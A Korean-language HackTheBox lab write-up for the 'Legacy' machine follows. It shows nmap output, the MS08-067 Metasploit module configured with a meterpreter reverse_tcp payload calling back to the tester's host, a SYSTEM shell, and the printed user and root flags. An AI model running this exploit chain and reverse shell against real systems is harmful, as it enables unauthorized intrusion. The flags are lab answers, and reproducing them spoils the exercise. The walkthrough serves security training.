HackTheBox Labs Writeup - Legacy

HackTheBox Labs Writeup - Legacy

이 글에서는 HackTheBox Labs 머신 중 하나인 Legacy 머신에 대한 풀이 방법에 대해 설명한다.

Task 1

Question : How many TCP ports are open on Legacy?

공격 대상 시스템에 얼마나 많은 TCP 포트가 열려 있는지 묻고 있다. nmap 으로 확인해보자.

$ nmap -sV -A -T4 10.10.10.4 
Starting Nmap 7.93 ( https://nmap.org ) at 2024-11-17 10:25 EST
Nmap scan report for 10.10.10.4
Host is up (0.36s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT    STATE SERVICE      VERSION
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Windows XP microsoft-ds
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Host script results:
|_clock-skew: 4d23h57m39s
|_nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 005056b04ad1 (VMware)
| smb-os-discovery: 
|   OS: Windows XP (Windows 2000 LAN Manager)
|   OS CPE: cpe:/o:microsoft:windows_xp::-
|   Computer name: legacy
|   NetBIOS computer name: LEGACY\x00
|   Workgroup: HTB\x00
|_  System time: 2024-11-22T19:24:02+02:00
|_smb2-time: Protocol negotiation failed (SMB2)

135,139,445 번 포트가 열려있다.

Answer : 3

Task 2

Question : What is the 2008 CVE ID for a vulnerability in SMB that allows for remote code execution?

2008 년에 발견된 SMB 취약점 중 원격 코드 실행이 가능한 것의 ID 를 묻고 있다. 구글링한 결과 CVE-2008-4250 이 원격 코드 실행이 가능한 취약점인 것을 확인할 수 있다.

CVE-2008-4250 구글링 결과
Answer : CVE-2008-4250

Task 3

Question : What is the name of the Metasploit module that exploits CVE-2008-4250?

Metasploit 에서 CVE-2008-4250 취약점을 실행할 수 있는 모듈의 이름을 묻고 있다. msfconsole 을 실행하여 확인해보자.

$ msfconsole
Metasploit tip: When in a module, use back to go 
back to the top level prompt
Metasploit Documentation: https://docs.metasploit.com/

msf6 > search CVE-2008-4250

Matching Modules
================

   #  Name                                 Disclosure Date  Rank   Check  Description
   -  ----                                 ---------------  ----   -----  -----------
   0  exploit/windows/smb/ms08_067_netapi  2008-10-28       great  Yes    MS08-067 Microsoft Server Service Relative Path Stack Corruption


Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/smb/ms08_067_netapi

msfconosle 에서 search CVE-2008-4250 명령어를 실행한 결과 ms08_067_netapi 모듈이 CVE-2008-4250 을 실행할 수 있는 것을 확인할 수 있다.

Answer : ms08_067_netapi

Task 4

Question : When exploiting MS08-067, what user does execution run as? Include the information before and after the .

MS08-067 모듈을 이용하여 공격했을 때 어떠한 사용자 권한으로 실행되는지 묻고 있다. 우선 metasploit 을 설정하여 공격을 실행해보자.

use 명령어를 실행하여 앞서 찾은 exploit/windows/smb/ms08_067_netapi 모듈을 사용하도록 설정한다.

msf6 > use exploit/windows/smb/ms08_067_netapi

set RHOSTS, set LHOST 명령어를 실행하여 공격 대상 IP 와 로컬 머신의 IP 를 지정한다.

msf6 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 10.10.10.4 
RHOSTS => 10.10.10.4
> set LHOST 10.10.16.5

set PAYLOAD windows/meterpreter/reverse_tcp 명령어를 실행하여 공격 대상이 리버스셸을 수립하는 payload 를 실행하도록 설정한다.

msf6 exploit(windows/smb/ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

모든 설정 후 run을 실행하면 지정한 설정에 따라 공격 대상에게 exploit 을 시도한다. exploit 에 성공하면 meterpreter 셸이 실행되는 것을 확인할 수 있다. 만약 Exploit completed, but no session was created. 와 같은 메시지가 출력되며 exploit 에 실패할 경우 HTB machine 을 리셋하고 다시 시도해보자.

msf6 exploit(windows/smb/ms08_067_netapi) > run

[*] Started reverse TCP handler on 10.10.16.5:4444 
[*] 10.10.10.4:445 - Automatically detecting the target...
[*] 10.10.10.4:445 - Fingerprint: Windows XP - Service Pack 3 - lang:Unknown
[*] 10.10.10.4:445 - We could not detect the language pack, defaulting to English
[*] 10.10.10.4:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 10.10.10.4:445 - Attempting to trigger the vulnerability...
[*] Sending stage (175686 bytes) to 10.10.10.4
[*] Meterpreter session 1 opened (10.10.16.5:4444 -> 10.10.10.4:1039) at 2024-11-17 11:21:02 -0500

meterpreter 셸이 수립된 상태에서 getuid 명령어를 실행하면 현재 실행 권한을 가지는 사용자명을 확인할 수 있다.

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Answer : NT AUTHORITY\SYSTEM

Submit User Flag

meterpreter 셸이 수립된 상태에서 shell 명령어를 실행하면 대상 시스템의 셸을 획득할 수 있다. 현재 공격 대상 시스템은 Windows 이다.

meterpreter > shell
Process 1544 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32> 

시스템을 조금 탐색해보면 C:\Documents and Settings\john\Desktop\user.txt 에서 User Flag 를 찾을 수 있다.

C:\Documents and Settings\john\Desktop>type user.txt
type user.txt
e69af0e4f443de7e36876fda4ec7644f

Submit Root Flag

마찬가지로 시스템을 탐색하다보면 C:\Documents and Settings\Administrator\Desktop\root.txt 에서 Root Flag 를 찾을 수 있다.

C:\Documents and Settings\Administrator\Desktop>type root.txt
type root.txt
993442d258b0e0ec917cae9e695d5713